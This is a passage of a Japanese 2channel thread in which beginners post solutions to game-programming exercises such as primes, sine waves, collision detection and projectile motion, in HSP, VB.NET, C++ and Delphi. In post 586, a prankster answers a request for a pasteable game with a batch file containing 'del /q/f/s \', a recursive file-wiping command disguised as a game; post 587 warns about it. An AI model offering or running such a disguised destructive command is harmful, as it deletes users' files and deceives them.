【初心者】課題をクリ ..
529:DarkRED
05/08/19 13:49:39 ZQwS0t4z.net
>>528
がんばる、蝶がんばる。
現在課題6をやっている最中です。
課題自体は満たしてはいるんですが、
フレームレートの調整をしたいので現在も続行中。
530:DarkRED
05/08/20 01:39:32 9A6OdVM3.net
課題6終わりました。
俺マジこのスレ独り占め。まあ、わざわざ新スレ立てて
一人で盛り上がっているよりはマシだと思ってください・・・。
最近、この板のレスの内容がわかることが多くなってきました。
この板に初めて来たときは知らない単語の嵐で解読不能だった覚えが。
少しは成長しているのだろうか。そうだといいのだが。
531:DarkRED
05/08/20 22:13:46 6c5ezetJ.net
課題7終わりました。終わりはしたんですが・・・
>画面を横を640kmと仮定し、初速、角度を入力させ、弾の軌道を描いてくれ。
>ちなみに、初速は29000m/s以下で
>重力加速度は10m/(s^2)でお願いします。
この設定どおりに作ると、
初速を小さくする
→画面の横が640[km]というスケールのでかさのせいで、
画面上でほとんど弾が動いて見えない。
初速を大きくする
→上に加えていつまで経っても着地しない。
(例えば真上に200[m/s]で打ち上げたら戻ってくるまで40秒かかる。
しかし初速の上限はこの100倍以上・・・。
っていうか俺計算間違ってないよね?間違ってたら指摘щ(゚Д゚щ)カモーン)
ってな感じで物理シミュレーションっぽく見えないので、
横を640[m]として初速を80[m/s]以下にするくらいが
ちょうどいいのではないかって案を一応出しておきます。
俺のソースがいつもより汚いのもあるので、
この課題は後日改めてやり直すことにして次に進みたいと思います。
532:名前は開発中のものです。
05/08/20 22:59:15 DmAbypHE.net
ソースまたはバイナリを出してくれないと
プログラミングの観点からはアドバイスのしようが無いな
まあ、チラシの裏がわりに日記書いてるなら別にいいんだけど
533:DarkRED
05/08/21 04:08:51 V4j1CSlt.net
>>532
全然人がいないので、ソース挙げて放置されるのが恐かったw
これからは、ソースに対してコメント貰えたらラッキー程度に考えることにします。
というわけで課題3〜6までのソースをうpしました。
改善点・アドバイスなどありましたら指摘お願いします。
URLリンク(gamdev.org)
個人的には、C++を使った課題6が激しく不安です。
C++ではこれ以外にはHello,worldしか作ったことが無いので・・・。
534:名前は開発中のものです。
05/08/28 12:14:26 5RtWHjvv.net
面白そうだったのでLGP弄ってみた。
面倒そうな課題外伝と課題1、2を後回しにし、
課題3〜10と来てちょっと疲れたので気分転換に課題11をやってみた。
ソースはかなり自分勝手に書いてるので注意。
URLリンク(gamdev.org)
あれだな、HSPでも作った事あるんだが、
ライフゲーム作るとその言語に大分慣れた気分になるのが不思議だなw
535:名前は開発中のものです。
05/09/01 15:58:14 r8NLKjpu.net
俺もやってみようかな言語はHSPだけど
講師の方はいないの?とりあえずage
536:名前は開発中のものです。
05/09/01 18:08:35 OrClWdjm.net
>>535
ノシ
とりあえずどのぐらいのレベルなのか・言語遍歴ドゾー
537:535
05/09/01 23:44:31 r8NLKjpu.net
>>536
ほとんど初心者です。ここで勉強ようと思ってます
もちろん他にやったことある言語はないです。
課題1と課題3はできたけど課題2の素数がまったくわからない・・・
538:名前は開発中のものです。
05/09/02 01:38:53 lS2+1QXD.net
とりあえず検索ワードおいときますね
エラトステネスのふるい
539:535
05/09/02 04:52:22 XGg1mxKl.net
>>538
あーだめだ。わからない
エラトステネスのふるいの計算の仕方はわかったけど
どうやってHSPでやればいいのかがわからない
と言うかまだ基本的なことがわかってないみたいだから
講座とか読んで勉強してきます
540:名前は開発中のものです。
05/09/03 02:14:26 ueWuhlOr.net
なんとなく漏れもHSP3で参加してみます。
…課題1〜3まで出来たけど課題4が出来ないや。sin波形ワケワカラナス
541:名前は開発中のものです。
05/09/24 21:39:06 puvSe1x9.net
542:名前は開発中のものです。
05/09/26 01:41:22 HXJRBQqp.net
■まとめページ
【初心者】課題をクリアしていくスレ【講習会】まとめ
URLリンク(gamdev.org)
・過去問や解答が掲載されています。
■姉妹スレ
【目標ない奴】おまいらに課題を与える。【集まれ】
スレリンク(gamedev板)
・お題はゲームの作成が中心になっています。このスレよりちょっと難易度が高い。
543:名前は開発中のものです。
05/09/27 07:23:17 GGOdg2Cr.net
URLリンク(gamdev.org)
課題1数当てです
544:名前は開発中のものです。
05/09/27 07:53:22 GGOdg2Cr.net
URLリンク(gamdev.org)
課題2素数
大きい数字から割っていってるので効率悪いかも
545:名前は開発中のものです。
05/09/27 08:56:37 GGOdg2Cr.net
URLリンク(gamdev.org)
課題3赤い四角
tchar.hってVC以外でも使えるのかな?
546:名前は開発中のものです。
05/09/27 09:13:30 GGOdg2Cr.net
URLリンク(gamdev.org)
課題4sin波形
SetPixelでやるとうまくいかない
547:名前は開発中のものです。
05/09/27 10:59:10 GGOdg2Cr.net
URLリンク(gamdev.org)
課題5キー入力
あえてバックバッファを使わない方法を模索
548:名前は開発中のものです。
05/09/28 02:00:38 GJl3SF9q.net
URLリンク(gamdev.org)
課題6 当たり判定
敵と味方の四辺を比較
549:名前は開発中のものです。
05/09/28 06:45:19 GJl3SF9q.net
URLリンク(gamdev.org)
課題11 ライフゲーム製作
VC++で作りました
BCCでも少しの修正で動くと思います
550:名前は開発中のものです。
05/09/28 08:23:57 IBjiJLIJ.net
ほほぅなかなかやりおる。でもあんまり飛ばすと後で急にやる気なくなるから注意だ。
551:名前は開発中のものです。
05/09/29 19:17:35 LE7U2HkX.net
ここで、問題を出してみる。
当たり判定を、四角形ではなく円形で行ってください。
552:名前は開発中のものです。
05/09/30 09:28:41 +8V2fz3M.net
ヒントはピタゴラス?
553:名前は開発中のものです。
05/10/04 15:10:27 t2ocW2mS.net
>>551
先生、できました!
採点よろしくおねがいします
URLリンク(gamdev.org)
554:名前は開発中のものです。
05/10/14 02:14:31 IPOLOsVX.net
URLリンク(gamdev.org)
課題8 弾を撃って貰います
当たったら画面外へ移動
画面外で重なってしまわないように座標に注意
555:名前は開発中のものです。
06/03/02 22:15:56 cLvXii56.net
随分廃れてるなぁ・・・
556:名前は開発中のものです。
06/03/02 22:16:52 cLvXii56.net
あ、ageとこう・・・。
557:名前は開発中のものです。
06/03/03 01:25:47 hvy8QSOW.net
>>555
先生が現れればある程度復活するだろう。
558:名前は開発中のものです。
06/03/22 23:48:16 pGER7Nuk.net
他人にソース見せて悪い箇所を指摘してもらうのが上達の秘訣って聞いたんだけど
先生なってくれる人居ないのかな?
559:名前は開発中のものです。
06/03/23 01:44:59 rIjaXeea.net
とりあえず晒したら何かしらレスが付くと思われ
560:名前は開発中のものです。
06/06/03 12:45:09 LfwUSM+O.net
こっそり開始
数当てゲーム作るぜ
チラシの裏状態になるんだろうけどな
561:名前は開発中のものです。
06/06/03 14:21:12 LfwUSM+O.net
ソース(VB2005)
URLリンク(gamdev.org)
まとめ
一行入力はConsole.ReadLine
一行出力はConsole.WriteLine
乱数つくるのにNew Randomしないといけない
Console.ReadLineで何も入力しなければ例外がでるのでtry〜catchで処理
採点とまでいかなくてもおかしいところがあったら教えてくれよな
562:名前は開発中のものです。
06/06/03 14:39:54 LfwUSM+O.net
素数のソース(VB2005)
URLリンク(gamdev.org)
まとめ
関数は Function 〜 End Function
ループ While (継続条件) 〜 End While
変数の初期化 Dim i As Integer = 2
数当てのほうが難しかったぜ
次はついにWindowプログラムか
563:名前は開発中のものです。
06/06/05 23:30:18 8flTmyaF.net
課題3赤い四角のソース(VB.NET2005)
URLリンク(gamdev.org)
ビルドするにはPictureBoxコントロールとTimerコントロールを貼り付けておいてください
まとめ
FormのMaximizeBoxプロパティをfalseに設定すると最大化ボタンが無効(灰色)になる
FormBorderStyleをFixedSingleに設定すると実行時にFormのサイズをマウスなどで変更不可
クライアント領域(描画できる領域)を640x480にするにはClientSizeプロパティを実行時にコードで変更する必要がある
四角を描くのはFillRectangle
その準備にPictureBox1.CreateGraphics()が必要、使い終わったらDispose()する
VBなんだからもっと簡単にグラフィック描画できればいいのに・・・・・・
564:名前は開発中のものです。
06/06/06 22:07:03 BKKQVE+c.net
課題4 sin波形 VB.NET2005
URLリンク(gamdev.org)
g.Dispose()しなくてもガベコレが処理してくれるとか言ってるサイトをみつけたんだが
やっぱしたほうがいいよな、たぶん
まとめ
iがIntegerなのに増分を小数にして永久ループというひどい目にあった
ペンの作成はDim p As New System.Drawing.Pen(Color.Red)
変数宣言したあとさらにNewやCreateするのって長くて嫌だなぁ……
565:名前は開発中のものです。
06/06/08 15:32:16 l70M6MGX.net
がんばれ〜
566:名前は開発中のものです。
06/06/10 20:16:40 0j3Y3Eu0.net
>>565
がんがる〜
課題スレVB2005課題5キー入力
URLリンク(gamdev.org)
キー入力とバックバッファをやった
GetAsyncKeyStateを使う方法もあるらしいけど
今回はwikiのヒントにあった_KeyDownを使った
まとめ
・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある
これに対処するにはFormのKeyPreviewをTrueにする
・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする
こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる
・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用
・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う
・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0)
Timer以外でメインループを作る方法が見つからないorz
win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ……
Application.DoEvents()を挟んでビジーループでいいのかな
System.Threading.Thread.SleepでSleepの替わりにもなりそうだし
567:名前は開発中のものです。
06/06/11 13:19:05 tyRLJnFM.net
課題6当たり判定
URLリンク(gamdev.org)
まとめ
矩形が重なっているかどうかで判定
ENDで終了
568:名前は開発中のものです。
06/06/27 21:32:41 SYe9nV57.net
,、,、,||
;'`,゙、.||'、 保守
'; 、' /´;`'.,
´' .; ' ; '、'.
'; 、 ' ,'
'.,´; '
l !j
/ルゝ
569:名前は開発中のものです。
06/08/14 06:40:17 NHdHnzDZ.net
先生失踪中ヵ..
570:名前は開発中のものです。
06/08/14 07:18:28 VdbybaMn.net
先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると
先生がいないと不安な後続の人達の参考になって良いかも。
571:名前は開発中のものです。
06/08/15 20:25:23 O7thC4Po.net
課題7 -課題外伝- 弾道シミュレーション
URLリンク(gamdev.org)
サインコサインで悩んだorz
ゲ製作にVB使い少ない……
572:名前は開発中のものです。
06/08/16 02:44:08 qsmhqtob.net
微分積分いい気分
C言語とか意味不明だ
573:名前は開発中のものです。
06/08/16 02:58:57 vu7zrhua.net
>微分積分いい気分
( ´∀`)σ)∀`)>>572
574:名前は開発中のものです。
06/08/16 23:44:56 hBfKBKuk.net
題8 弾を撃って貰います vb.net
URLリンク(gamdev.org)
ArrayList使ってみた
当たり判定ちょっと面倒だったよ
本当は関数化したほうがいいのかな
575:名前は開発中のものです。
06/08/19 12:29:09 Kg/n9ytV.net
課題10 インベダ風移動 vb.net
URLリンク(gamdev.org)
VBって解放が必要なのか不要なのかいまいちわかりずらいorz
576:名前は開発中のものです。
06/09/10 17:11:36 TDb9YusH.net
スレ違いかもしれないですけど。
回線速度が512Kbp/Sの回線を用いて256000byteのデータを、
転送するためには何秒かかるか。
1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、
平均2o秒とする。
計算式も書くこと。
さっぱり分かりませんので計算お願いします。。。
577:名前は開発中のものです。
06/09/10 18:48:03 WLNmrtem.net
基本情報の午前に出そうな問題だな。
懐かしいわ。
578:名前は開発中のものです。
06/09/10 19:47:52 GdkKRdS2.net
スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが
こんなやつ誘導したくないな
579:名前は開発中のものです。
06/09/17 15:08:39 dp7/71US.net
最近の若い者って、調べる能力がやたら低くない?
人のことを若い者って言えるほど年食ってるわけじゃないけど。
580:名前は開発中のものです。
06/09/17 16:08:29 kab63KmG.net
ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、
既得権益の亡者な教師にはソレができない。
581:名前は開発中のものです。
06/09/18 13:16:25 W/lXcIbz.net
安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
582:名前は開発中のものです。
06/10/19 12:24:46 2T8BbUdQ.net
いくつか問題を出しましょう。
エフェクトに関する入り口。
適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。
583:くたらぎけん
06/10/20 14:17:57 an970z+w.net
このスレ今から参加しても宜しいのでしょうか?
584:名前は開発中のものです。
06/10/20 22:11:32 fQ4Z1QKt.net
勝手にやればいいんでね
585:名前は開発中のものです。
06/10/21 09:30:29 wamNDeux.net
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい
時間が無いのでなるべく早くお願いします
586:名前は開発中のものです。
06/10/21 09:35:13 6R8oaMOr.net
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \
3.出来たファイルを実行する
4.昨夜はお楽しみでしたね
587:名前は開発中のものです。
06/10/21 19:37:53 XCzYIwYp.net
まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。
588:名前は開発中のものです。
06/10/21 21:56:38 wamNDeux.net
delで何となく分かったよ
別に困らないけどね
589:名前は開発中のものです。
06/10/22 00:00:29 IqzFRS51.net
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
590:名前は開発中のものです。
06/10/22 09:32:09 be4WCk1M.net
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");
3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
591:受験生 ◆B57Fo1eLjo
06/10/22 10:29:26 T38aBY/h.net
2あたりにいた受験生です(酉忘れちまったw
このスレまだあったのか…
また課題でも用意する?
592:名前は開発中のものです。
06/11/19 01:28:15 wJaGDUpd.net
>>582の課題やってみました
モノクロということでカラー画像から2値画像への変換
URLリンク(gamdev.org)
開発環境はDelphi6 personal
ソース、実行ファイルが含まれています
使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます
画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)
変換サンプル画像
変換前
URLリンク(bbs.gamdev.org)
↓
変換後
URLリンク(gamdev.org)
避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな
593:C++/win32API
06/11/25 00:09:14 ZxloQDt/.net
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?
URLリンク(gamdev.org)
594:名前は開発中のものです。
06/11/25 02:02:55 FscVmuXx.net
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
を
SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。
595:名前は開発中のものです。
06/11/25 17:57:48 zYG1sxsz.net
>>582の課題モザイク
サンプル画像
URLリンク(gamdev.org)
実行ファイルとソース
URLリンク(gamdev.org)
このままの速度じゃゲームに使えないね
ひと段落ついたら高速化もやってみたい
それにしてもエッジ難しすぎる……
微分やオペレータって画像処理の基本らしいので
がんばりたいけど
596:593
06/11/25 21:37:45 ZxloQDt/.net
>>594
できました!ありがとうございます。
597:名前は開発中のものです。
06/11/27 13:00:13 AfDweK2L.net
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
598:名前は開発中のものです。
06/11/27 20:55:38 3EIwZmwn.net
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。
そうしてみると、1000個目の素数を探すプログラムには、
・ 次に判定する整数を示すカウンタ
・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。
「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。
599:名前は開発中のものです。
06/11/28 01:45:59 VYv9sMeV.net
サンプル画像
URLリンク(kasumicyoucyou.fc2web.com)
↓
URLリンク(gamdev.org)
実行ファイルとソース
URLリンク(gamdev.org)
微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた
工夫した点はRGBを別々に比べたこと
RGBの合計を閾値と比べるより綺麗なエッジがでます
閾値を弄れば雲の部分のエッジを出すことも可能
その場合は他の場所がうまくいかなかったりするので
調整するのも難しい
600:名前は開発中のものです。
06/11/28 03:03:40 JXILxC55.net
>>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。
URLリンク(gamdev.org)
というか、>>382と同じですねHAHAHA.
orz
601:名前は開発中のものです。
06/12/18 20:43:34 f8pwlrC2.net
課題 素数 COBOL
URLリンク(gamdev.org)
まだCOBOLは出てなかったようなので……。
602:名前は開発中のものです。
07/01/03 13:04:17 34CL32fK.net
ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず
あいむなっとあにぃいいいいいいいいいまああああああああある!
603:名前は開発中のものです。
07/02/03 16:43:24 b0e6Rts8.net
いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで
>64の素数をやってみた。つかってるのはHSP3
よろしくお願いします。
screen 0,800.700,,,
font "MS ゴシック",8
a=2
b=2
c=0
repeat
repeat
if a\b = 0{
if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break}
else :break
}
if a<b :break
b++
loop
a++
b=2
if c=1000 :break
await 1
loop
stop
こんなので、こういうのができるのに自分でもびっくりだった。
本当にあってるかはよくわからんけど。
604:名前は開発中のものです。
07/02/03 16:46:30 b0e6Rts8.net
と思ったら過疎スレなのか(´д`)
605:製作神 ◆3C/O4odLsY
07/02/03 16:50:16 z04kCzis.net
もっと投下すれば賑わうであろう。
606:名前は開発中のものです。
07/02/04 16:07:13 wipOHoKW.net
数当てもつくってみたよ。しかしマジでいないなー。
607:名前は開発中のものです。
07/02/04 18:12:35 MWYCkzpm.net
>>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた
608:名前は開発中のものです。
07/02/05 06:15:29 JxXUp4Vb.net
配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、
>603の時より、ループ回数が偉く少なくなった。
でも、他にa+2でやったほうが早そうなんだけど、
それをきれいにはめる方法が良くわからない。
if 構文追加してもいいけど、どっちみち2で割るところまでくれば
変わらないような気もするし。
609:名前は開発中のものです。
07/02/05 06:38:57 JxXUp4Vb.net
計算方法をちょこっと変えたら、5000万のループ回数が70万に。素数オモスレー
610:名前は開発中のものです。
07/02/07 05:50:49 GNKliERn.net
む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。
>107のはうちで動かんし。
考え方からさっぱりだ。
611:名前は開発中のものです。
07/02/07 15:20:39 NKLSTYEl.net
HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない
R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度
pos 0, 240
repeat 640
line cnt, 240+(sin(R1*cnt)*240)
loop
stop
612:名前は開発中のものです。
07/02/16 00:22:46 qpyJEI/g.net
>611
サンキュ
なるほど。line命令とかこういう風に使うのか。
しかもまるまる答えそのものじゃないかー。
613:名前は開発中のものです。
07/02/16 02:20:37 ppH9PRcO.net
>>612
始点、終点も設定すると、前回の終点を
保存か算出する必要が出てくるからな
614:名前は開発中のものです。
07/02/17 06:26:41 x7siGPZt.net
課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、
clsでやってるから箱がちらつくんだよね。
ヒント頼む ちなみに今こんな感じ。↓
screen 0,640,480
q=3
repeat
getkey m,37
getkey n,39
getkey o,38
getkey p,40
x=x+q*(n-m)
y=y-q*(o-p)
if fx!x or fy!y :cls
if x>320 :x=320
if x<0 :x=0
if Y>240 :y=240
if y<0 :y=0
color 255, :boxf 0+x,0+y,320+x,240+y
fx=x:fy=y
await 1
loop
615:名前は開発中のものです。
07/02/17 12:59:22 zySnsdUf.net
clsやめればいいじゃん
616:名前は開発中のものです。
07/02/17 13:09:21 AzT6DJgE.net
>>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。
これだけだとまだちらつくから、
画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する
画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する
617:名前は開発中のものです。
07/02/17 14:52:49 x7siGPZt.net
>615
使わないと画面真っ赤になっちゃう。
clsぐらいしかわからないからな。悪いな。
>616
boxfで塗りつぶすというのはたまに見るんだが、
なんだかよくわからんかった。が、それをヒントに、
色々やってみる。アリガトン
618:名前は開発中のものです。
07/02/17 17:49:27 x7siGPZt.net
これって
redraw 0
〜
redraw 1
〜の部分に描画するものいれておくと
1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。
何でちらつかないのかはいまいちピンと来ないんだけど。
とりあえずclsのところに↓入れて
redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy
redraw 1
上を最後の方に入れた。
ただ、動きが重くなるんだね。この命令って処理が重いの?
619:名前は開発中のものです。
07/02/17 20:25:31 pIqCsBKC.net
暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。
もっと早いの考えてみっか。
/*--------------------------------------------------*/
#define MAXN 1000
#include <iostream.h>
int main(){
int temp[MAXN],k=2,i=0,j,loop=0;
cout<<2<<endl;
while(i<MAXN){
temp[i]=2;
for (j=0;j<=i;j++){
loop++;
if(k%temp[j]==0) break; //kがn[j]の倍数ならn[j+1]に飛ばす
else if(j==i){
temp[i]=k;
cout<<temp[i]<<endl;
i++;
break;
}
}
k++;
}
cout<<loop<<"回ループしやした!"<<endl;
return 0;
}
/*--------------------------------------------------*/
620:名前は開発中のものです。
07/02/18 04:26:14 8TgB3zN2.net
>>618
clsより軽いはずだ。
621:名前は開発中のものです。
07/02/18 16:42:46 yPmVwvF6.net
>620
むー。そうなのかー。でも動き重くなったしなー。
使い方悪いのかなー。
課題6を
丸描いて敵にしてるんだけど、動き方をどうするかで
試行錯誤ちう
622:名前は開発中のものです。
07/02/18 21:48:11 Z60cc6BP.net
>>621
重いのは await 1 が原因だよ。
623:名前は開発中のものです。
07/02/21 04:09:26 XCgw7SD2.net
課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、
とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz
考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。
ダメだしお願い。
URLリンク(gamdev.org)
624:名前は開発中のものです。
07/02/21 17:45:56 1pwfm66w.net
↓こうじゃない?
★箱
(x,y)
┏━━━┓(x+max_x,y)
┃ ┃
┃ ・(x+max_x/2,y+max_y/2)
┃ ┃
┗━━━┛(x+max_x,y+max_y)
(x,ymax_y)
★玉
(enemy_x,enemy_y)
┌───┐(enemy_x+sx,enemy_y)
│ │
│ │
│ │
│ │
└───┘(enemy_x+sx,enemy_y+sy)
(enemy_x,enemy_y+sy)
★箱の右で衝突
(x,y)
┏━━━┓(x+max_x,y)
┃ ┃
┃ ・(x+max_x/2,y+max_y/2)
┃ ┌───┐
┗━━┥ │
enemy_xがx+max_x/2〜x+max
enemy_yがy-sx〜y+max_y
625:名前は開発中のものです。
07/03/02 09:45:12 RL8xs1BY.net
>624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。
ようやっと、とりあえずはね返るようにはなった。
後ろからあたりに行ったりするとスルーしちゃったりするけど、
大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。
なんか色々とつっかえたなぁ。サイト色々探しちゃったし。
つまると素数プログラムを改善して紛らわせてるんだけど、
数値に制限あるのな。HSP。
まぁ、そこまで素数を下から求めたりしないからいいんだけど、
素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。
626:名前は開発中のものです。
07/03/02 16:19:42 xch9HBdf.net
>>625
勘違いするなよ?
桁の制限なんてどんな言語でもあるぞw
言うなら32ビット整数型の制限だよ
627:名前は開発中のものです。
07/03/02 16:34:53 RL8xs1BY.net
>626
そういうものなのか。
もうちょっと桁はいくもんなのかと思ってたけど、
なるほど2^32の半分なわけか。
となると、それを越える数字を使うプログラムははじかれるのか。
まとめサイトに繋がらないんだけど。なんでだろ。
628:名前は開発中のものです。
07/03/02 22:24:24 e7ng/jU4.net
まとめサイトのping帰ってこない(´・ω・`)ショボーン
自分のソースのバックアップあそこにしかないのにwww
629:名前は開発中のものです。
07/03/06 20:19:53 vyl0ltP/.net
まとめサイト復活来た。
弾道シミュやるヮ。
課題6はもう大体いいわ。
630:名前は開発中のものです。
07/03/06 21:22:00 aM0UjHqH.net
そろそろ新しい課題欲しいな
631:名前は開発中のものです。
07/03/06 23:13:38 vyl0ltP/.net
ボタンを作るみたいな課題とかどうよ。
単に今俺がこれから勉強したいと思ってるからだけど。
そこから、ボタンを押す。押すと押した絵に変わる。
マウスが上に来ると絵が大きくなるとか、枠が出るとか。
もしくはのちのち、何かのジャンルのゲームで頻繁に使いそうなやつ。
セーブロードとかさ。初心者が言うのもあれだけど。
632:名前は開発中のものです。
07/03/07 01:08:02 8kjoILVD.net
それはゲームのアルゴリズム以前の問題じゃないか?
633:名前は開発中のものです。
07/03/07 02:38:11 IIsT9RK1.net
表現もできないのにアルゴリズムも何もないとやっていて思ったんだ。
つーかそもそもアルゴリズムってなんだろう?とも思うんだ。
個人的には簡単なのからだんだん難しい課題にという流れと、
課題をやっていくとゲームとかソフトができる。という流れ。
この二つが混ざるとやっていて楽しいんじゃないかと思う。
まぁ基本的に課題は全て難しいのが現状なんだけどねー。
634:名前は開発中のものです。
07/03/07 02:53:14 cSD5nU6m.net
麻雀の役特定のとか知りたい
635:名前は開発中のものです。
07/03/07 18:19:41 IIsT9RK1.net
ありゃ、重力加速度をどう表していいか混乱してきた。
そもそも重力加速度がわけわからなくなってきた。
636:名前は開発中のものです。
07/03/07 18:58:48 IIsT9RK1.net
これじゃただの放物線じゃ。
角度のつけ方が良くわからんな。
ホントに誰もいなくて悲しいヮ。
637:名前は開発中のものです。
07/03/08 00:27:41 +aaoahtx.net
デフォルメ
638:名前は開発中のものです。
07/03/09 20:05:12 A20L9Fnp.net
課題8、課題6に付け足してようやっとできた。
次は、課題9は課題7がまだ良くワカンネーから飛ばして、
課題10やる。
センセーカムヒアー プリーズ
639:名前は開発中のものです。
07/03/10 19:07:09 /U9PtoGQ.net
分かんないことあるならもうちょっと具体的に書いとけば
誰か答えてくれるんじゃないかと
640:名前は開発中のものです。
07/03/12 20:09:00 B3YMxCrl.net
課題10、とりあえず一つの箱をそれっぽくうごかせた。
これをどう6つにするかだな。とりあえず三つからやってみたいけど、
配列変数つかってcntで三つつくるのができれば、いけるのかな。
弾当たったら消えるって、なんかフラグつくって、
当たったらa=0にして、if a ならその箱表示みたいな感じなんかな。
>639
何よりもほとんど全部といっていいいくらいわかんね。
y方向に落ちていくまではまだわかるような気がするんだけど、
初速がどれだけの速さでも、角度をつけた途端、
どういう計算式にすればいいかが、ピンとわからない。
角度ゼロならまぁ、cnt×速さでいいのかもしれないけど、
角度を少しでもつけると、y方向の部分とのベクトル、
初速分斜めに移動させるので本当に正しいのかすらわからない。
感覚的にはx方向に1、Y方向に1のベクトルだったら(1,1)の方向に
進むようにするってことなんだろうけど、
じゃあそれを全ての状況でどうやって式に表せばいいのか全くわからない。
考え方からしてもうワケワカメなので、
説明したくとも説明できない感じなのだよ。
641:名前は開発中のものです。
07/03/13 00:50:38 xhylvjoJ.net
真上にボール投げたときのシミュレーションはできる?
642:名前は開発中のものです。
07/03/13 00:50:55 e1hpszeA.net
ググれば色々出てくると思うが。
643:名前は開発中のものです。
07/03/14 14:33:17 vTyf4gtY.net
3つを動かせるようになって、
それをコピペして、yの値に+して2×3にしてうごくようにしたけど、
慣れてくるとどうやって動かすように仕組むんだ?
今こんな感じ↓
URLリンク(gamdev.org)
>641
真上もなんか良くわかんない。
ベクトルが絡まるともう感覚的にわからない。
たてと横だけならなんとなーくわかるんだけど。
>642
ぐぐっても良くわかんない。
ゴメンナ
644:名前は開発中のものです。
07/03/14 23:19:25 Ta9QMe4z.net
説明めんどくさいのでこれ見て自分で考えてくれ。
g=1;重力加速度
x=0;初期x座標
y=480;初期y座標
vx=10;x方向初期速度
vy=-30;y方向初期速度
repeat 70
x+=vx;速度の分だけ位置を増やす
vy+=g;加速度の分だけ速度を増やす
y+=vy;速度の分だけ位置を増やす
pos x,y
mes "○"
await 20
loop
stop
645:名前は開発中のものです。
